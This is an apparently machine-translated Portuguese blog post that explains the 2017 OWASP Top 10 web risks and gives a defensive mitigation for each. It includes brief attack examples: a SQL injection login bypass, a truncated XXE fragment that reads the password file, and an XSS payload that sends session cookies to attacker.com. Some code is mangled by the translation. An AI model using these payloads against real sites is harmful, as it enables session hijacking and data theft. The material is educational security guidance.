Os 10 principais ataques comuns na Web: os primeiros passos para proteger seu site


Uma estatística comum frequentemente compartilhada pelos profissionais da InfoSec é "78% dos ataques são contra o aplicativo".

Não passa uma semana sem ouvir mais uma violação ou vulnerabilidade maciça, afetando milhões de usuários em todos os setores. Se esse número é preciso ou se é realmente apenas 74% (ou mais provavelmente mais próximo de 85%), uma coisa é clara: nossos sites estão em risco, e se o seu ainda não foi atacado é apenas uma questão de tempo e dinheiro (e motivação do atacante).

Um aspecto interessante que muitos desses ataques têm em comum é que eles não são altamente técnicos e alcançáveis ​​apenas pelas equipes avançadas de hackers que estão no porão da NSA. A fonte mais comum desses ataques é um grupo conhecido como "script kiddies", jovens não treinados que simplesmente baixam kits de ferramentas automatizados da Internet e tentam invadir qualquer site aleatório que ofereça vulnerabilidades fáceis de explorar. Mesmo os cibercriminosos mais habilidosos começam suas primeiras tentativas usando os mesmos kits de ferramentas (ou versões ligeiramente mais avançadas deles).

Por que devemos nos importar? Porque isso significa que os ataques mais comuns e as vulnerabilidades mais exploradas serão sempre a primeira e mais fraca cadeia em nossa defesa.

Consequentemente, esse também deve ser o ponto em que concentramos nossos esforços iniciais em reforçar essa defesa. Felizmente, também é o local mais fácil de testar e garantir pelo menos um nível mínimo de segurança.

Essas vulnerabilidades comuns foram reunidas em uma lista dos “Dez principais” pelos voluntários amigáveis ​​do OWASP - o Open Web Application Security Project, uma organização de caridade sem fins lucrativos, focada no aprimoramento da segurança de software.

Embora essa lista dos dez principais não seja realmente uma "lista de verificação de segurança", geralmente é o primeiro conjunto de vulnerabilidades que os invasores tentam. Da mesma forma, há uma infinidade de ferramentas automatizadas que verificarão seu site a serviço dos atacantes, permitindo que eles descubram rapidamente as falhas críticas que lhes concederão acesso aos seus objetos de valor..

Aqui estão os 10 principais riscos de segurança de aplicativos da OWASP, edição de 2017:

1. Injeção

Um invasor pode manipular seu aplicativo Web para alterar os comandos enviados aos seus subsistemas, simplesmente enviando solicitações malformadas com cargas úteis contaminadas. O mais conhecido desses ataques é a injeção de SQL, em que um usuário do seu site pode fazer com que seu aplicativo altere isso:

selecione * dos usuários em que nome de usuário = 'AviD' e senha = '1234'
nisso:
selecione * dos usuários em que nome de usuário = 'Admin'

Isso permite que o invasor efetue login no seu aplicativo como administrador, mesmo sem saber a senha. Outros usos desse ataque seriam roubar segredos (ou dinheiro), alterar dados ou até apagar todos os vestígios de atividade.

Outros formulários incluem injeção LDAP, injeção XPath, injeção de comando, injeção SMTP - sempre que o aplicativo concatena entrada não confiável do usuário em um comando que é passado para um intérprete. Os dados anormais podem induzir o intérprete a executar comandos não intencionais ou acessar dados sem a devida autorização.

Esses ataques geralmente podem ser impedido com bastante facilidade seguindo alguns princípios:

  • Valide todas as entradas não confiáveis ​​com uma abordagem de lista branca, independentemente da origem.
  • Sempre acesse o banco de dados apenas com consultas parametrizadas e procedimentos armazenados, em vez de concatenar uma consulta de string.
  • Melhor ainda, use uma biblioteca ORM (Object Relational Mapping) adequada (como Hibernate, Entity Framework, ActiveRecord para citar alguns, dependendo da sua plataforma).
  • Limite o dano potencial de uma exploração bem-sucedida reduzindo os privilégios do banco de dados do aplicativo.

2. Autenticação quebrada

A maioria dos aplicativos exige que seus usuários efetuem login antes de usá-lo, geralmente com uma combinação de nome de usuário / senha. Existem muitos tipos de falhas comuns neste sistema de autenticação, que podem ser exploradas de várias maneiras: ataques de dicionário, força bruta automatizada, preenchimento de credenciais, seqüestro de sessão e muito mais.

Um invasor que conseguir adivinhar uma senha válida poderá se passar por esse usuário e executar qualquer ação que sua vítima possa executar - sem poder diferenciar entre o atacante e a vítima.

Para evitar isso, é necessária uma abordagem em várias camadas:

  • Alterar todas as senhas padrão.
  • Aplique senhas aleatórias fortes para todos os usuários: pelo menos 12 caracteres aleatórios, sem restrições, de preferência armazenados em um gerenciador de senhas; ou, alternativamente, uma senha com pelo menos 5 palavras aleatórias.
  • Limite as tentativas de login, bloqueando a conta do usuário por um período de tempo após um certo número de senhas erradas.
  • Use um gerenciador de sessões da plataforma segura, que gera aleatoriamente identificadores de sessão longos e implementa um ciclo de vida da sessão segura.
  • Proteja as senhas com um algoritmo criptográfico de "hash de senha", como Bcrypt, scrypt ou Argon2.

Além disso, considere implementar a autenticação multifator para mitigar ataques baseados em senha, e não permita que um invasor ignore sua senha sabendo o nome do seu gato na página "Esqueceu a senha". Existem alguns detalhes adicionais que podem ser relevantes, dependendo da sua arquitetura e contexto específicos.

3. Exposição Sensível a Dados

Segredo os dados geralmente precisam ser protegidos com criptografia e outros algoritmos criptográficos. No entanto, isso é muitas vezes implementado, se é que de forma incompleta, permitindo que os invasores obtenham informações confidenciais às quais não deveriam poder, incluindo senhas, cartões de crédito, informações pessoais (PII) e outros dados críticos para os negócios.

Algumas falhas comuns incluem não criptografar dados; criando um esquema de criptografia personalizado em vez de algoritmos e protocolos padrão; usando teclas fracas; expor chaves de criptografia; e não implementar protocolos corretamente, por exemplo não validando um certificado TLS.

Usando controles criptográficos adequados (como criptografia AES para dados armazenados e TLS com HSTS habilitado para tráfego), com os parâmetros corretos, deve proteger amplamente seus dados confidenciais em repouso e em trânsito.

4. Entidades externas XML (XXE)

Geralmente, os aplicativos precisam receber e processar documentos XML dos usuários. Analisadores XML antigos ou mal configurados podem ativar um recurso XML conhecido como referências de entidade externa em documentos XML, que quando avaliado, incorporará o conteúdo de outro arquivo. Os invasores podem abusar disso para leia dados confidenciais, acesse sistemas internos e até encerre o aplicativo em um ataque de negação de serviço (DoS).

Por exemplo, um documento XML contendo isso:

]>&xxe;

incluiria o conteúdo do arquivo de senha no documento XML.

Isso pode ser evitado simplesmente desativando a avaliação de DTD e entidade externa no analisador ou atualizando para uma biblioteca de analisadores moderna que não é vulnerável.

5. Controle de acesso quebrado

A maioria dos aplicativos da web limita o que os usuários podem ver ou fazer, se está acessando os dados pessoais de outro usuário ou uma área restrita.

No entanto, os mecanismos de controle de acesso que impõem esses limites geralmente são implementações personalizadas e muitas vezes profundamente falhas. Os invasores podem ignorar esses controles ou abusá-los para acessar funcionalidades ou dados não autorizados, como acessar contas de outros usuários, visualizar arquivos confidenciais, modificar dados de outros usuários, executar ações administrativas e muito mais.

Corrigir e prevenir falhas de controle de acesso requer uma visão sistêmica. É necessária uma revisão completa e aprofundada de todos os recursos do aplicativo, requisitos do sistema, funções do usuário e outras restrições. Existem vários modelos comuns que podem ser aplicados, dependendo dos requisitos. Os mais comuns incluem controle de acesso baseado em função (RBAC), controle de acesso discricionário (DAC) e controle de acesso baseado em integridade ou obrigatório (MAC).

Outros modelos de nicho podem se basear em Atributos (ABAC), Política (PBAC), Contexto (CBAC) e classificação (existem vários modelos, especialmente no DoD), bem como em vários outros esquemas personalizados. É importante projetar bem o modelo de controle de acesso, para que possa ser aplicado uniformemente e administrado com eficiência. Partir do princípio do privilégio mínimo e autorizar apenas quando necessário.

Além disso, muitos sistemas precisam considerar a aplicação de controles sobre o acesso aos dados pessoais dos usuários de uma perspectiva de privacidade. Está se tornando ainda mais importante preservar adequadamente a privacidade dos usuários e impedir o acesso sem consentimento, especialmente à luz da atualização do GDPR da UE.

6. Configuração incorreta de segurança

Servidores e aplicativos têm muitas partes móveis que precisam ser configuradas corretamente. Isso se aplica a todos os níveis da pilha de aplicativos, do sistema operacional e dos dispositivos de rede até o servidor da Web e o próprio aplicativo.

Configurações padrão, incompletas ou ad hoc podem deixar os arquivos desprotegidos, senhas padrão ativadas, serviços em nuvem abertos e vazam informações confidenciais por meio de mensagens de erro ou cabeçalhos HTTP, além de inúmeras outras configurações inseguras que podem permitir que um invasor obtenha acesso ao sistema ou dados.

Obviamente, não há uma configuração única que impeça essa vulnerabilidade. Todas as configurações potencialmente vulneráveis ​​devem ser revisadas. Observe que isso também inclui atualizações e patches oportunos do sistema!

7. Script entre sites (XSS)

Usando XSS, um invasor pode modificar as páginas da web que outros usuários veem no seu aplicativo, seja para roubar informações como senhas e cartões de crédito, espalhar dados falsos, seqüestrar sessões de usuários, redirecionar para outro site ou executar scripts maliciosos no navegador da vítima.

Essa vulnerabilidade pode ocorrer sempre que dados não confiáveis ​​são incluídos em uma página da web ou resposta, sem validação ou limpeza adequada. O invasor pode enviar formulários com fragmentos HTML ou JavaScript, que serão incorporados diretamente na página e renderizados pelo navegador.

Por exemplo, este código do servidor:

response.write ("Bom dia", + request.getParameter ("Nome"));

incorpora o parâmetro Name do usuário diretamente na saída. O objetivo é retornar a página a seguir, se o nome do usuário for "John":

Bom dia john

Em vez disso, um invasor pode injetar uma carga maliciosa:

Bom dia, Bossdocument.location = 'http: //attacker.com/? Cookie =' + document.cookie

que será executado pelo navegador do usuário, enviando o cookie da sessão ao invasor e permitindo que o invasor sequestre a sessão.

A principal proteção contra ataques XSS é o uso de codificação adequada. Por exemplo, a codificação HTML transformará todos os caracteres "especiais" em entidades HTML, para que sejam exibidos da mesma forma para o usuário, mas não sejam reconhecidos pelo analisador como tags HTML válidas. No entanto, existem outras formas de codificação que devem ser usadas dependendo do contexto específico da saída de dados - por exemplo, Codificação de atributo, codificação JavaScript, codificação CSS e assim por diante. A maioria das plataformas web modernas fornece essa funcionalidade automaticamente ou como uma chamada de função, e há muitas bibliotecas de segurança para aquelas que não.

Além disso, é uma boa ideia implementar a CSP (política de segurança de conteúdo), para impedir que o navegador processe um ataque XSS que tenha passado. Além disso, configure os cookies de sessão (no código do aplicativo ou na configuração do servidor da Web) para incluir o atributo HttpOnly, para impedir que explorações bem-sucedidas do XSS sequestrem as sessões dos usuários.

8. Desserialização insegura

A mais recente adição a esta lista, a desserialização insegura pode permitir ataques de injeção e escalonamento de privilégios e até levar à execução remota de código e à aquisição de servidores em determinadas situações.

Muitos aplicativos precisam serializar objetos e dados em um formato que possa ser transmitido facilmente através da conexão ou mesmo persistir em um arquivo. Quando um aplicativo restaura esses objetos de volta à memória desserializando os dados formatados recebidos de um usuário, pode ser possível adulterar a memória do objeto e até fazer com que ele execute funções arbitrárias.

A melhor maneira de evitar a desserialização insegura é nunca desserialize objetos de dados não confiáveis! É muito melhor evitar completamente os formatos de desserialização nativa sempre que possível, preferindo um formato de dados como XML ou JSON.

Se for necessário desserializar a partir do formato nativo, poder fazê-lo com segurança requer a compreensão interna da linguagem de programação. Existem várias etapas necessárias para fazer isso com segurança, dependendo do idioma em que seu aplicativo foi desenvolvido. Por exemplo, em Java, você pode subclassificar a classe java.io.ObjectInputStream. Além disso, é recomendável desserializar apenas os dados assinados digitalmente pelo aplicativo.

9. Usando componentes com vulnerabilidades conhecidas

O software moderno não é mais um monólito - ele sempre conta com um número cada vez maior de componentes, estruturas e bibliotecas de código aberto de terceiros. Quaisquer vulnerabilidades conhecidas encontradas nessas dependências também podem afetar diretamente seu próprio aplicativo! As vezes isso levará a outras vulnerabilidades nesta lista, como injeção, execução remota de código ou qualquer outra falha que possa permitir que invasores acessem dados ou ações confidenciais.

Recentemente, esse problema foi responsabilizado pela violação maciça do Equifax, onde eles não instalaram um patch para o Apache Struts2. Em vez disso, eles permaneceram em uma versão conhecida por permitir que atacantes remotos executassem comandos arbitrários.

A melhor maneira de evitar cair nessa armadilha é revise todas as suas dependênciass (incluindo as dependências transitivas) e verifique se algum deles está atualmente vulnerável. Implemente um processo para garantir que seu aplicativo sempre obtenha as versões estáveis ​​mais recentes de todas as bibliotecas e componentes dependentes após testá-los. De fato, atualmente existem inúmeras ferramentas comerciais que podem rastrear isso para sua equipe, bem como o Dependency-Check da OWASP, gratuito.

10. Registro insuficiente & Monitoramento

Enquanto tentamos tornar nossos sistemas imunes a todos os ataques possíveis, realisticamente precisamos aceitar que alguns ataques superem nossas defesas. No entanto, uma defesa resiliente deve incluir várias camadas. Isso inclui a possibilidade de detectar os ataques que tiveram êxito, apesar de todos os nossos esforços, de preferência o mais rápido possível.

Isso ainda pode permitir que uma organização se recupere do ataque ou até minimizar os danos o máximo possível. Um mecanismo de registro e monitoramento, combinado com uma resposta eficaz a incidentes, pode impedir que os invasores girem para recursos internos adicionais, incorporando-se permanentemente na organização e impedindo-os de roubar ou alterar ainda mais dados.

Implemente um mecanismo de log comum para todo o aplicativo. É melhor usar uma biblioteca existente, como log4J, mas isso não é necessário. O mecanismo de log deve coletar todas as ações iniciadas pelo usuário, erros de tempo de execução e quaisquer outros eventos confidenciais. Verifique se os dados do log estão bem protegidos e não se esqueça de fornecer aos administradores uma interface de pesquisa e revisão!

A boa notícia é que a maioria desses problemas é relativamente simples e fácil de evitar se você souber o que procurar. Portanto, embora essa não seja uma lista abrangente de todos os problemas de segurança aos quais você deve prestar atenção, é importante definitivamente um dos melhores lugares para começar sua expedição a um site protegido!

Brayan Jackson Administrator
Candidate of Science in Informatics. VPN Configuration Wizard. Has been using the VPN for 5 years. Works as a specialist in a company setting up the Internet.
follow me
Like this post? Please share to your friends:
Leave a Reply

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

− 1 = 2

map